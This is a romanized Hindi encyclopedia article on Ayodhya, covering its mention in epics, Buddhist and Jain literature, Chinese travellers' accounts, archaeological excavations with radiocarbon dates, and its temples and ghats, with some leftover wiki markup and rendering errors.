अयोध्या

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ayodhya vishay soochi
ayodhya    prachin ullekh    bauddh sahity mean ayodhya    ayodhya ka utkhanan    mahakavy mean ayodhya    madhyakal mean ayodhya    sarayoo nadi
ayodhya
vivaran 'ayodhya' uttar pradesh rajy ka ek prasiddh dharmik nagar hai. ayodhya ke raja dasharath ke putr shriram ka janm yahian hua tha. ram ki janm-bhoomi sarayoo nadi ke daean tat par sthit hai.
rajy uttar pradesh
zila faizabad
kab jaean kabhi bhi ja sakate haian
kaise pahuanchean viman, rel, bas, taiksi
havaee adda nikatatam havaee adda lakhanoo mean hai jo lagabhag 140 kimi. ki doori par hai.
relave steshan phaijabad ayodhya ka nikatatam relave steshan hai. yah relave steshan mugal saray-lakhanoo lain par sthit hai.
bas adda uttar pradesh s dak parivahan nigam ki basean lagabhag sabhi pramukh shaharoan se ayodhya ke lie chalati haian.
yatayat aauto riksha, bas, taimpo, saikil riksha
kya dekhean ramakot, hanuman gadhi, nageshvar nath mandir, kanak bhavan, jain mandir
kahaan thaharean hotal, dharmashala, atithi grah
es.ti.di. kod 5278
e.ti.em sabhi
chitr:Map-icon.gif ayodhya
bhasha hiandi, avadhi, aangrezi
any janakari jain mat ke anusar yahaan adinath sahit paanch tirthankaroan ka janm hua tha.

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ayodhya (aangrezi: Ayodhya) uttar pradesh rajy ka ek prasiddh dharmik nagar hai. ayodhya faizabad zile mean ata hai. ramayan ke anusar dasharath ayodhya ke raja the. shriram ka janm yahian hua tha. ram ki janm-bhoomi ayodhya uttar pradesh mean sarayoo nadi ke daean tat par sthit hai. ayodhya hinduoan ke prachin aur sat pavitr tirthasthaloan mean se ek hai. ayodhya ko atharvaved mean eeshvar ka nagar bataya gaya hai aur isaki sanpannata ki tulana svarg se ki gee hai. ramayan ke anusar ayodhya ki sthapana manu ne ki thi. kee shatabdiyoan tak yah nagar soory vansh ki rajadhani raha. ayodhya ek tirth sthan hai aur mool roop se mandiroan ka shahar hai. yahaan aj bhi hindoo, bauddh, islam aur jain dharm se ju de avashesh dekhe ja sakate haian. jain mat ke anusar yahaan adinath sahit paanch tirthankaroan ka janm hua tha.

itihas

ayodhya punyanagari hai. ayodhya shriramachandraji ki janmabhoomi hone ke nate bharat ke prachin sahity v itihas mean sada se prasiddh rahi hai. ayodhya ki ganana bharat ki prachin saptapuriyoan mean pratham sthan par ki gee hai.[1] ayodhya ki mahatta ke bare mean poorvi uttar pradesh ke janasadharan mean nimn kahavatean prachalit haian-

ganga b di godavari,
tirath b do prayag,
sabase b di ayodhyanagari,
jahan ram liyo avatar.

ayodhya raghuvanshi rajaoan ki bahut purani rajadhani thi. svayan manu ne[2] ayodhya ka nirman kiya tha. valmiki ramayan[3] se vidit hota hai ki svargarohan se poorv ramachandr ji ne kush ko kushavati namak nagari ka raja banaya tha. shriram ke pashchath ayodhya uja d ho gee thi, kyoanki unake uttaradhikari kush ne apani rajadhani kushavati mean bana li thi. raghu vansh[4] se vidit hota hai ki ayodhya ki din-hin dasha dekhakar kush ne apani rajadhani pun: ayodhya mean banaee thi. mahabharat mean ayodhya ke dirghayajn namak raja ka ullekh hai jise bhimasen ne poorvadesh ki digvijay mean jita tha.[5] ghatajatak mean ayodhya[6] ke kalasen namak raja ka ullekh hai.[7] gautamabuddh ke samay kosal ke do bhag ho ge the- uttar kosal aur dakshin kosal jinake bich mean sarayoo nadi bahati thi. ayodhya ya saket uttari bhag ki aur shravasti dakshini bhag ki rajadhani thi. is samay shravasti ka mahattv adhik badha hua tha. bauddh kal mean hi ayodhya ke nikat ek nee basti ban gee thi jisaka nam saket tha. bauddh sahity mean saket aur ayodhya donoan ka nam sath-sath bhi milata hai[8] jisase donoan ke bhinn astitv ki soochana milati hai.

  • puranoan mean is nagar ke sanbandh mean koee vishesh ullekh nahian milata hai, parantu is nagar ke shasakoan ki vanshavaliyaan avashy milati haian, jo is nagar ki prachinata evan mahattv ke pramanik sakshy haian. brahman sahity mean isaka varnan ek gram ke roop mean kiya gaya hai.[10]
  • soot aur magadh us nagari mean bahut the. ayodhya bahut hi sundar nagari thi. ayodhya mean ooanchi atariyoan par dhvajaean shobhayaman thian aur saik doan shataghniyaan usaki raksha ke lie lagi huee thian.[11]
  • ram ke samay yah nagar avadh nam ki rajadhani se sushobhit tha.[12]
  • bauddh granthoan ke anusar ayodhya poorvavarti tatha saket paravarti rajadhani thi. hinduoan ke sath pavitr sthanoan mean isaka nam milata hai. fahyan ne isaka ‘sha-chean’ nam se ullekh kiya hai, jo kannauj se 13 yojan dakshin-poorv mean sthit tha.[13]
  • malalasekar ne pali-paranpara ke saket ko see nadi ke kinare unnav zile mean sthit sujanakot ke khandaharoan se samikrit kiya hai.[14]
  • naliyaksh datt evan krishnadatt bajapeyi ne bhi isaka samikaran sujanakot se kiya hai.[15] theragatha atthakatha[16] mean saket ko sarayoo nadi ke kinare bataya gaya hai. at: sanbhav hai ki pali ka saket, adhunik ayodhya ka hi ek bhag raha ho.

ullekh

  1. REDIRECTsaancha:mukhy

thumb|left|ayodhya ka ek drishy shuang vansh ke pratham shasak pushyamitr [17] ka ek shilalekh ayodhya se prapt hua tha jisamean use senapati kaha gaya hai tatha usake dvara do ashvamedh yajnoan ke lie jane ka varnan hai. anek abhilekhoan se jnat hota hai ki guptavanshiy chandragupt dvitiy ke samay (chaturth shati ee. ka madhyakal) aur tatpashchath kafi samay tak ayodhya gupt samrajy ki rajadhani thi. guptakalin mahakavi kalidas ne ayodhya ka raghu vansh mean kee bar ullekh kiya hai.[18] kalidas ne uttarakaushal ki rajadhani saket[19] aur ayodhya donoan hi ka namollekh kiya hai, isase jan p data hai ki kalidas ke samay mean donoan hi nam prachalit rahe hoange. madhyakal mean ayodhya ka nam adhik sunane mean nahian ata tha. yuvanachvaang ke varnanoan se jnat hota hai ki uttar buddhakal mean ayodhya ka mahattv ghat chuka tha.

mahakavyoan mean ayodhya

ayodhya ka ullekh mahakavyoan mean vistar se milata hai. ramayan ke anusar yah nagar sarayoo nadi ke tat par basa hua tha tatha koshal rajy ka sarvapramukh nagar tha.[20]

  • ayodhya ko dekhane se aisa pratit hota tha ki mano manu ne svayan apane hathoan ke dvara ayodhya ka nirman kiya ho.[21]
  • ayodhya nagar 12 yojan lambaee mean aur 3 yojan chau daee mean phaila hua tha,[22] jisaki pushti valmiki ramayan mean bhi hoti hai.[23]
  • ek paravarti jain lekhak hemachandr[24] ne nagar ka kshetraphal 12×9 yojan batalaya hai[25] jo ki nishchit hi atiranjit varnan hai.
  • sakshyoan ke avalokan se nagar ke vistar ke lie kaniangham[26] ka mat sarvadhik mahattvapoorn lagata hai. unaki manyata hai ki nagar ki paridhi 12 kosh (24 mil) thi, jo vartaman nagar ki paridhi ke anuroop hai.
  • dharmik mahatta ki drishti se ayodhya hinduoan aur jainiyoan ka ek pavitr tirthasthal tha. isaki ganana bharat ki sat mokshadayika puriyoan mean ki gee hai. ye sat puriyaan nimnalikhit thian-[27]
  • ayodhya mean kanbojiy ashv evan shaktishali hathi the. ramayan ke anusar yahaan chaturvarny vyavastha thi- brahman, kshatriy, vaishy tatha shoodr. unhean apane vishisht dharmoan evan dayitvoan ka nirvah karana p data tha. ramayan mean ullekh hai ki kaushalya ko jab ram van gaman ka samachar mila to ve moorchchhit hokar gir p dian. us samay kaushalya ke samast aangoan mean dhool lipat gayi thi aur shriram ne apane hathoan se unake aangoan ki dhool saf ki.[28]

thumb|250px|ayodhya ka ek drishy
varsh-1783

madhyakal mean ayodhya

madhyakal mean musalamanoan ke utkarsh ke samay, ayodhya bechari upekshita hi bani rahi, yahaan tak ki mugal samrajy ke sansthapak babar ke ek senapati ne bihar abhiyan ke samay ayodhya mean shriram ke janmasthan par sthit prachin mandir ko to dakar ek masjid banavaee, jo aj bhi vidyaman hai. masjid mean lage hue anek stanbh aur shilapatt usi prachin mandir ke haian. ayodhya ke vartaman mandir kanakabhavan adi adhik prachin nahian haian, aur vahaan yah kahavat prachalit hai ki sarayoo ko chho dakar ramachandraji ke samay ki koee nishani nahian hai. kahate haian ki avadh ke navaboan ne jab faizabad mean rajadhani banaee thi to vahaan ke anek mahaloan mean ayodhya ke purane mandiroan ki samagri upayog mean laee gee thi.

bauddh sahity mean ayodhya

bauddh sahity mean bhi ayodhya ka ullekh milata hai. gautam buddh ka is nagar se vishesh sambandh tha. ullekhaniy hai ki gautam buddh ke is nagar se vishesh sambandh ki or lakshy karake majjhimanikay mean unhean kosalak (koshal ka nivasi) kaha gaya hai.[29]

  • dharm-prachararth ve is nagar mean kee bar a chuke the. ek bar gautam buddh ne apane anuyayiyoan ko manav jivan ki nisvarata tatha kshan-bhangurata par vyakhyan diya tha. ayodhyavasi gautam buddh ke bahut b de prashansak the aur unhoanne unake nivas ke lie vahaan par ek vihar ka nirman bhi karavaya tha.[30]
  • sanyuktanikay mean ullekh aya hai ki buddh ne yahaan ki yatra do bar ki thi. unhoanne yahaan phen sookt[31] aur darukkhandhasukt[32] ka vyakhyan diya tha.

ek hi nagar se samikrit

ayodhya aur saket donoan nagaroan ko kuchh vidvanoan ne ek hi mana hai. kalidas ne bhi raghuvansh[33] mean donoan nagaroan ko ek hi mana hai, jisaka samarthan jain sahity mean bhi milata hai.[34] kaniangham ne bhi ayodhya aur saket ko ek hi nagar se samikrit kiya hai.[35] isake viparit vibhinn vidvanoan ne saket ko bhinn-bhinn sthanoan se samikrit kiya hai. isaki pahachan sujanakot,[36] adhunik lakhanoo,[37] kursi,[38] pasha (pasaka), [39] aur tusaran bihar[40]ilahabad se 27 mil door sthit hai) se ki gee hai. is nagar ke samikaran mean uparyukt vidvanoan ke matoan mean saval pramanoan ka abhav drishtigat hota hai. bauddh granthoan mean bhi ayodhya aur saket ko bhinn-bhinn nagaroan ke roop mean prastut kiya gaya hai. valmiki ramayan mean ayodhya ko koshal ki rajadhani bataya gaya hai aur bad ke sanskrit granthoan mean saket se mila diya gaya hai. 'ayodhya' ko sanyuktanikay mean ek or ganga ke kinare sthit ek chhota gaanv ya nagar batalaya gaya hai. jabaki 'saket' usase bhinn ek mahanagar tha.[41] atev kisi bhi dasha mean ye donoan nam ek nahian ho sakate haian. thumb|left|lakshman ghat, ayodhya

jain granth ke anusar

jain granth vividhatirthakalp mean ayodhya ko rrishabh, ajit, abhinandan, sumati, anant aur achalabhanu- in jain muniyoan ka janmasthan mana gaya hai. nagari ka vistar lambaee mean 12 yojan aur chau daee mean 9 yojan kaha gaya hai. is granth mean varnit hai ki chakreshvari aur gomukh yaksh ayodhya ke nivasi the. gharghar-dah aur sarayoo ka ayodhya ke pas sangam bataya hai aur sanyukt nadi ko svargadvara nam se abhihit kiya gaya hai. nagari se 12 yojan par ashtavat ya ashtapad paha d par adi-guru ka kaivalyasthan mana gaya hai. is granth mean yah bhi varnit hai ki ayodhya ke charoan dvaroan par 24 jain tirthankaroan ki moortiyaan pratishthapit thian. ek moorti ki chaluky naresh kumarapal ne pratishthapana ki thi. is granth mean ayodhya ko dasharath, ram aur bharat ki rajadhani bataya gaya hai. jainagranthoan mean ayodhya ko 'vinita' bhi kaha gaya hai.[42]
jain granth mahapuran (adipuran) ke anusar karo doan varsh poorv ayodhya mean paanch tirthankaroan ke janm to hue hi haian, sath hi vahaan any anek itihas bhi ju dean. ayodhya mean vartaman mean rayaganj parisar mean 31 phut uttuang bhagavan rrishabhadev ki khadgasan pratima virajaman hai. vahaan prativarsh chaitr krishna navami ke din bhagavan rrishabhadev ke janm kalyanak divas ka varshik mela ayojit hota hai. jisamean hazaroan shraddhalu bhakt bhag lekar punyalabh prapt karate haian. ayodhya mean svargadvar mohalle mean rrishabhadev ka sundar jin mandir bana hai. vah bhagavan ka vastavik janm sthan mana jata hai. sarayoo nadi ke nikat hi bhagavan rrishabhadev udyan bahut suandar bana hua hai, jahaan desh- videsh ke hazaroan paryatak pratidin akar prakritik sauandary ka anand lete haian.

raj devids ke anusar

raj devids ka kathan hai ki donoan nagar vartaman landan aur vestamianstar ke saman ek-doosare se sate rahe hoange[43] jo kalantar mean vikasit hokar ek ho gaye. ayodhya sambhavat: prachin rajadhani thi aur saket paravarti rajadhani [44]. vishuddhanand pathak bhi raj devids ke mat ka samarthan karate haian aur parivartan ke lie sarayoo nadi ki dhara mean parivartan ya kisi prakritik karan ko uttaradayi manate haian, jisake karan ayodhya ka sankuchan hua aur doosari taraf nee disha mean paravarti kal mean saket ka udbhav hua.[45]

sakshyoan ke avalokan ke anusar

sakshyoan ke avalokan se donoan nagaroan ke alag-alag astitv ki sarthakata siddh ho jati hai tatha saket ke paravarti kal mean vikas ki bat saty ke adhik samip lagati hai. is sandarbh mean ee. je. thamas ramayan ki parampara ko bauddh parampara ki apeksha uttarakalin manate haian. unaki manyata hai ki pahale koshal ki rajadhani shravasti thi aur jab bad mean koshal ka vistar dakshin ki or hua to ayodhya rajadhani bani, jo ki saket ke hi kisi vijayi raja dvara diya hua nam tha.[46]

puratattvavidoan ke anusar

pichhale samay mean kuchh puratattvavidoan yatha-pro. brajavasi lal[47] tatha hansamukh dhirajalal saankaliya[48] ne ramayan ityadi mean varnit ayodhya ki pahachan nagar ki bhaugolik sthiti, prachinata evan saanskritik avasheshoan ka adhyayan kiya, ramayan mean varnit uparyukt vivaranoan ke antar ki vyakhya bhi prastut ki hai. in donoan vidvanoan ka yah mat tha ki puratatvik drishti se n keval ayodhya ki pahachan ki ja sakati hai, ramayan mean varnit any sthan yatha- nandigram, shrriangaverapur, bharadvaj ashram, pariyar evan valmiki ashram bhi nishchit roop se pahachane ja sakate haian. is sandarbh mean pro. brajavasi lal dvara vishad roop mean kie ge puratatvik sarvekshan evan utkhanan ullekhaniy hai. puratatvik adhar par pro. lal ne ramayan mean uparyukt sthanoan ki prachinata ko lagabhag satavian sadi ee. poo. mean rakha. is sakshy ke karan ramayan evan mahabharat ki prachinata ka jo kram tha, vah parivartit ho gaya tatha mahabharat pahale ka pratit hua. is prakar pro. lal tatha saankaliya ka mat hemachandr ray chaudhari[49] ke mat se milata hai. shri rayachaudhari ka bhi kathan tha ki mahabharat mean varnit sthan evan ghatanaean ramayan mean varnit sthan evan ghatanaoan ke poorv ki haian.

munish chandr joshi ke anusar

shri munish chandr joshi[50] ne pro. lal evan saankaliya ke is mat ki khulakar alochana ki, tatha taittiriy aranyak[51] mean uddhrit ayodhya ke ullekh ka varnan karate hue yah mat prastut kiya-

  • jab taittiriy aranyak ki rachana huee, us samay manishiyoan ki nagari ayodhya evan usaki sanskriti (agar yah thi to) ko log poornat: bhool gaye the.
  • ayodhya poornat: pauranik nagari pratit hoti hai.
  • adhunik ayodhya aur ram se isaka sahachary paravarti kal ka pratit hota hai.

thumb|250px|hanuman gadhi, ayodhya in adharoan par shri joshi ne kaha ki vaidik ya pauranik samagri ke adhar par puratatvik sakshyoan ka samikaran n to grahy hai aur n hi uchit. unaka yah bhi kathan tha ki adhikatar bharatiy pauranik evan vaidik samagri ka upayog dharm evan anushthan ke lie kiya gaya tha. aitihasik roop se unaki satyata sandigdh hai.

brajavasi lal ke anusar

shri joshi ke matoan ka khandan pro. brajavasi lal ne puratattv mean chhape apane ek lekh mean[52] kiya hai. shri lal ka kahana hai ki shri joshi ka pratham mat unake tritiy mat se mel nahian khata. unaka kahana hai ki pratham to joshi yah manane ko taiyar hi nahian hote evan dvitiy yah spasht nahian hai ki ram evan adhunik ayodhya ka sambandh kis kal mean evan kaise jo da gaya. pro. lal ka kahana hai ki ayodhya shabd n keval taittiriy aranyak mean hai, balki isaka ullekh atharvaved[53] mean bhi milata hai. isake vistrit adhyayan se ayodhya shabd ka prayog ayodhya nagari se hi nahian balki 'ajey' se liya ja sakata hai. taittiriy aranyak mean varnit ayodhya nagari ka samikaran unhoanne manushy sharir se kiya hai tatha shrimadbhagavadagita[54] mean ae us shlok ka jiqr kiya hai, jisamean sharir namak nagar ka varnan hai. shri lal ka kahana hai ki taittariy aranyak,[55] atharvaved tatha shrimadabhagavadagita mean sharir ke ek saman ullekh milate haian. jisamean kaha gaya hai ki devataoan ki is svarnim nagari ke ath chakr (parikshetr) aur nau dvar haian, jo ki hamesha prakashaman rahata hai. nagar ke prakashaman hone ki vyakhya manushy ke dhyanamagn hone ke pashchath jnan jyoti ke prapt hone ki sthiti se ki gee hai. ath chakroan (parikshetroan) ka samikaran ath dhamaniyoan ke jal-niche ki mooladhara se shuroo hokar oopar ki sahasr dhara tak-se ki gee hai. navadvaroan ka samikaran sharir ke navadvaroan-do aankhean, nak ke do dvar, do kan, mukh, guda evan shishn- se kiya gaya hai.

pro. brajavasi lal[56] ne shri munishachandr joshi[57] ke shodhapatr evan sambandhit samagri ka vistrit vivechan karake apane is mat ka pushtikaran kiya ki adhunik ayodhya evan ramayan mean varnit ayodhya ek hi hai. yadi puratatvik samagri evan ramayan mean varnit samagri mean mel nahian khata to isaka arth yah nahian ki ayodhya ki pahachan galat hai ya ki vah pauranik evan kalpanik nagar tha. vastav mean donoan samagriyoan ke mel n khane ka mukhy karan ramayan ke mool mean kiya gaya bar-bar parivartan hai.

chini yatriyoan ka yatra vivaran

fahyan

  1. REDIRECTsaancha:mukhy

chini yatri fahyan ne ayodhya ko 'sha-che' nam se abhihit kiya hai. usake yatra vivaran mean is nagar ka atyant sankshipt varnan milata hai. fahyan ke anusar yahaan bauddhoan evan brahmanoan mean sauhard nahian tha. usane yahaan un sthanoan ko dekha tha, jahaan buddh baithate the aur tahalate the. is sthan ki smritisvaroop yahaan ek stoop bana hua tha.[58]

hven tsaang

  1. REDIRECTsaancha:mukhy

hven tsaang navadevakul nagar se dakshin-poorv 600 li yatra karake aur ganga nadi par karake ayudha (ayodhya) pahuancha tha. yah sampoorn kshetr 5000 li tatha isaki rajadhani 20 li mean phaili huee thi.[59] yah asang evan basubandhu ka asthayi nivas sthan tha. yahaan fasalean achchhi hoti thian aur yah sadaiv prachur haritima se achchhadit rahata tha. isamean vaibhavashali phaloan ke bag the tatha yahaan ki jalavayu svasthyavardhak thi. yahaan ke nivasi shisht acharan vale, kriyashil evan vyavaharik jnan ke upasak the. is nagar mean 100 se adhik bauddh vihar aur 3000 se adhik bhikshuk the, jo mahayan aur hinayan matoan ke anuyayi the. yahaan 10 dev mandir the, jinamean abauddhoan ki sankhya apekshakrit kam thi. [[chitr:Xuanzang.jpg|thumb|hven tsaang]] hven tsaang ke anusar rajadhani mean ek prachin sangharam tha. yah vah sthan hai jahaan deshabandhu[60] ne kathin parishram se vividh shastroan ki rachana ki thi. in bhagnavasheshoan mean ek mahakaksh tha. jahaan par basubandhu videshoan se ane vale rajakumaroan evan bhikshuoan ko bauddhadharm ka upadesh dete the.

hven tsaang likhate haian ki nagar ke uttar 40 li doori par ganga ke kinare ek b da sangharam tha, jisake bhitar ashok dvara nirmit ek 200 phut ooancha stoop tha. yah vahi sthan tha jahaan par tathagat ne dev samaj ke upakar ke lie tin mas tak dharm ke uttamottam siddhantoan ka vivechan kiya tha. is vihar se 4-5 li pashchim mean buddh ke asthiyukt ek stoop tha. jisake uttar mean prachin vihar ke avashesh the, jahaan sautantrik sampraday sambandhi vibhasha shastr ki rachana ki gee thi.

hven tsaang ke anusar nagar ke dakshin-pashchim mean 5-6 li ki doori par ek amravatika mean ek prachin sangharam tha. yah vah sthan tha jahaan asang[61]bodhisatv ne vidyadhyayan kiya tha.

amravatika se pashchimottar disha mean lagabhag 100 qadam ki doori par ek stoop tha, jisamean tathagat ke nakh aur bal rakhe hue the. isake nikat hi kuchh prachin divaroan ki buniyadean thian. yah vahi sthan hai jahaan par vasubandhu bodhisatv tushit[62]svarg se utarakar asang bodhisatv se milate the.[63]

ayodhya ka puratatvik utkhanan

  1. REDIRECTsaancha:mukhy

ayodhya ke simit kshetroan mean puratattvavettaoan ne utkhanan kary kie. is kshetr ka sarvapratham utkhanan profesar avadh kishor narayan ke netritv mean kashi hindoo vishvavidyalay ke ek dal ne 1967-1970 mean kiya. yah utkhanan mukhyat: jain ghat ke samip ke kshetr, lakshman tekari evan nal tile ke samipavarti kshetroan mean hua.[64] utkhanan se prapt samagri ko tin kaloan mean vibhakt kiya gaya hai-

pratham kal

thumb|left|digambar jain mandir, ayodhya utkhanan mean pratham kal ke uttari kale chamakile mrinbhaand parampara (en. bi. pi., beyar) ke bhoore patr evan lal rang ke mrinbhaand mile haian. is kal ki any vastuoan mean mitti ke katore, goliyaan, khilauna, ga di ke chakr, haddi ke upakaran, taanbe ke manake, sphatik, shisha adi ke manake evan mrinmoortiyaan adi mukhy haian.

dvitiy kal

is kal ke mrinbhaand mukhyat: eesa ke pratham shatabdi ke haian. utkhanan se prapt mukhy vastuoan mean makaramukhakriti toti, davat ke dhakkan ki akriti ke mritpatr, chipate lal rang ke chapate adharayukt lambavat dharadar katore, staianp aur mritpatr khand adi haian.

tritiy kal

is kal ka arambh ek lambi avadhi ke bad milata hai. utkhanan se prapt madhyakalin chamakile mritpatr apane sabhi prakaroan mean milate haian. isake atirikt kahi evan proklen mrinbhaand bhi mile haian. any pramukh vastuoan mean mitti ke daibar, lodhe, lohe ki vibhinn vastuean, manake, bahumooly patthar, shishe ki ekarangi aur bahurangi choo diyaan aur mitti ki pashu akritiyaan (visheshakar chi diyoan ki akriti) haian. .

ayodhya ke kuchh kshetroan ka pun: utkhanan

ayodhya ke kuchh kshetroan ka pun: utkhanan do satroan 1975-1976 tatha 1976-1977 mean brajavasi lal aur ke. vi. sundarajan ke netritv mean hua. yah utkhanan mukhyat: do kshetroan- ramajanmabhoomi aur hanumanagadhi mean kiya gaya.[65] is utkhanan se sanskritiyoan ka ek vishvasaniy kalakram prakash mean aya hai. sath hi is sthan par prachinatam basti ke vishay mean janakari bhi mili hai. utkhanan mean sabase nichale star se uttar kalin chamakile mrinbhaand evan dhoosar mrinbhaand parampara ke mritpatr mile haian. dhoosar parampara ke kuchh mrinbhaandoan par kale rang mean chitrakari bhi milati hai.

hanumanagadhi kshetr mean utkhanan

hanumanagadhi kshetr se bhi uttari kali chamakili mrinbhaand sanskriti ke avashesh prakash mean ae haian. sath hi yahaan anek prakar ke mritika valay koop tatha ek kuean mean prayukt kuchh shankvakar eeantean bhi mili haian. utkhanan se b di matra mean vibhinn prakar ki vastuean mili haian, jinamean mukhyat: adha darjan muharean, 70 sikke, ek sau se adhik laghu mrinmoortiyaan adi ullekhaniy haian. thumb|left|lakshman qila, ayodhya

mahattvapoorn upalabdhi

is utkhanan mean sabase mahattvapoorn upalabdhi ady aitihasik kal ke roleted mrinbhaandoan ki prapti hai. ye mrinbhaand pratham-dvitiy shatabdi ee. ke haian. is prakar ke mrinbhaandoan ki prapti se yah siddh hota hai ki tatkalin ayodhya mean vanijy aur vyapar b de paimane par hota tha. yah vyapar sarayoo nadi ke jalamarg dvara ganga nadi se sambaddh tha.

brajavasi lal ke netritv mean utkhanan

ady aitihasik kal ke pashchath yahaan ke malaboan aur gaddhoan se prapt vastuoan ke adhar par vyavasayik kram mean avarodh drishtigat hota hai. sambhavat: yah kshetr pun: 11vian shatabdi mean adhivasit hua. yahaan se utkhanan mean kuchh paravarti madhyakalin eeantean, kank d, evan choone ki farsh adi bhi mile haian. ayodhya se 16 kilomitar dakshin mean tamasa nadi ke kinare sthit nandigram mean bhi shri brajavasi lal ke netritv mean utkhanan kary kiya gaya. ullekh hai ki ram ke vanagaman ke pashchath bharat ne yahian par nivas karate hue ayodhya ka shasan kary sanchalit kiya tha. yahaan ke simit utkhanan se prapt vastuean ayodhya ki vastuoan ke samakalin haian.

simit kshetr mean utkhanan

1981-1982 ee. mean simit kshetr mean utkhanan kiya gaya. yah utkhanan mukhyat: hanumanagadhi aur lakshmanaghat kshetroan mean hua. isamean 700-800 ee. poo. ke kalatmak patr mile haian. shri lal ke utkhanan se pramanit hota hai ki yah bauddh kal mean ayodhya ka mahattvapoorn sthan tha.

buddh rashmi mani aur hari maanjhi ke netritv mean

thumb|300px||ayodhya ka ek drishy bharatiy puratattv sarvekshan vibhag, bharat sarakar, nee dilli dvara buddh rashmi mani aur hari maanjhi ke netritv mean 2002-2003 eesavi mean ramajanm bhoomi kshetr mean utkhanan kary kiya gaya. yah utkhanan kary sarvochch nyayalay ke nirdesh par sanchalit hua. utkhanan se poorv uttari krishna parimarjit sanskriti se lekar paravarti mugalakalin sanskriti tak ke avashesh prakash mean ae. pratham kal ke avasheshoan evan rediyo karban tithiyoan se yah nishchit ho jata hai ki manav sabhyata ki kahani ayodhya mean 1300 eesa poorv se prarambh hoti hai.[66]

namoona sakhya namoonoan ki tithi [67] purnaganana varsh mean
sankhya-7, ayodhya-1, 2152 ji-7 (16) 9.15 mitar 2830 Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \pm 100 bi. pi. (880 ee. poo.) 1190- 840 ee. poo.
sankhya-8, ayodhya-1, 2153 ji-7 (19) 11.00 mitar 2860 Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \pm 100 bi. pi. (910 ee. poo.) 1210- 900 ee. poo.
sankhya-9, ayodhya-1, 2154 ji-7 (20) 11.53 mitar 3200 Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): \pm 130 bi. pi. (1250 ee. poo.) 1680- 1320 ee. poo.

paryatan

ayodhya ghatoan aur mandiroan ki prasiddh nagari hai. sarayoo nadi yahaan se hokar bahati hai. sarayoo nadi ke kinare 14 pramukh ghat haian. inamean guptadvar ghat, kaikeyi ghat, kaushalya ghat, papamochan ghat, lakshman ghat adi vishesh ullekhaniy haian. mandiroan mean 'kanak bhavan' sabase suandar hai. lokamanyata ke anusar kaikeyi ne ise sita ko muanh dikhaee mean diya tha. ooanche tile par hanumanagadhi akarshak ka keandr hai. is nagar mean ramajanmabhoomi-sthal ki b di mahima hai. is sthan par vikramadity ka banavaya hua ek bhavy mandir tha kiantu babar ke shasanakal mean vahaan par masjid bana di gee. jise 6 disanbar 1992 ko kuchh kattarapanthiyoan ne gira diya. is vivadaspad sthan par is samay ramalala ki moorti sthapit hai sarayoo ke nikat nageshvar ka mandir shiv ke barah jyotiliangoan mean gina jata hai. 'tulasi chaura' vah sthan hai jahaan baithakar tulasidas ji ne ramacharitamanas ki rachana aranbh ki thi. prahlad ghat ke pas guru nanak bhi akar thahare the. ayodhya jain dharmavalanbiyoan ka bhi tirth-sthan hai. vartaman yug ke chaubis tirthakaroan mean se paanch ka janm ayodhya mean hua tha. inamean pratham tirthakar rrishabhadev bhi sammilit hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  • aitihasik sthanavali | prishth sankhya= 39| vijayendr kumar mathur | vaijnanik tatha takaniki shabdavali ayog | manav sansadhan vikas mantralay, bharat sarakar
  1. ↑ ayodhya mathura maya kashi kachiravantika, puri dvaravati chaiv saptaite mokshadayika:
  2. ↑ balakand 5, 6 ke anusar
  3. ↑ valmiki ramayan uttar kand 108, 4
  4. ↑ raghu vansh sarg 16
  5. ↑ ayodhyaan tu dharmajnan dirghayajnan mahabalamh, ajayath paandavashreshtho natitivrenakarmana- sabhaparv 30-2
  6. ↑ ayojjha
  7. ↑ jatak sankhya 454
  8. ↑ dekhie rayasadevij buddhist iandiya, prishth 39
  9. ↑ es. si. de, histarisiti aauf ramayan eand d iando aryan sosaiti in iandiya eand silon (dilli, ajanta pablikeshans, punamurdit, 1976), prishth 80-81
  10. ↑ aitarey brahman, 7/3/1; dekhean, j. ra. e. so, 1971, prishth 52 (padatippani
  11. ↑ 'sootamagadhasanbadhaan shrimatimatulaprabhamh, uchchattaladhvajavatian shataghnishatasankulamh' balaka 5, 11
  12. ↑ nandoolal de, d jiyografikal dikshanari aauf, aianshyeant eand midival iandiya, prishth 14
  13. ↑ jems legge, d traivels aauf fahyan oriyantal pablishars, dilli, punarmudrit 1972, prishth 54
  14. ↑ ji pi malalasekar, dikshanari aauf pali prapar nems, bhag 2 prishth 1086
  15. ↑ nalinaksh datt evan krishnadatt bajapeyi, uttar pradesh mean bauddh dharm ka vikas (prakashan byooro, uttar pradesh sarakar, lakhanoo, pratham sanskaran, 1956) prishth 7 evan 12
  16. ↑ theragatha atthakatha, bhag 1, prishth 103
  17. ↑ dvitiy shati ee. poo.
  18. ↑ 'jalani ya tiranikhatayoopa vahatyayodhyamanurajadhanimh' raghu vansh 13, 61; 'alokayishyanmuditamayodhyaan prasadamabhranlihamaruroh'- raghu vansh 14, 29
  19. ↑ raghu vansh 5,31; 13,62
  20. ↑ kosalo nam mudrit: sphito janapado mahanh, nivisht: sarayootire prabhoot dhanadhanyavan (ramayan, balakand, sarg 5, pankti 5
  21. ↑ 'manuna manaverdran ya puri nirmita svayamy. tatraiv, pankti 12
  22. ↑ vinodavihari datt, taun planiang in aishyeant iandiya (kalakatta, thaiankar spiank eand kan., 1925), prishth 321-322; dekhean vividh tirthakalp, adhyay 34
  23. ↑ ayata dash ch dve yojanani mahapuro, shrimati trani vistirn suvibhaktamahapatha. ramayan, balakand, sarg 5, pankti 7
  24. ↑ yah chaluky raja jayasianh siddharaj aur usake uttaradhikariyoan ka darabari kavi tha.
  25. ↑ dvadashayojanayamaan navayojan vistritamh. ayodhyelyaparabhikhyaan vinitaan soakarotpurimh.. trishastisalakapurushacharit, parv. adhyay 2, shlok 912
  26. ↑ e. kaniangham, aishyeant jyografi aauf iandiya (iandolajikal buk haus, 1963), prishth 342
  27. ↑ ayodhya maya mathura kashi kaanchi avantika. puri dvaravati chaiv saptete mokshadayika..
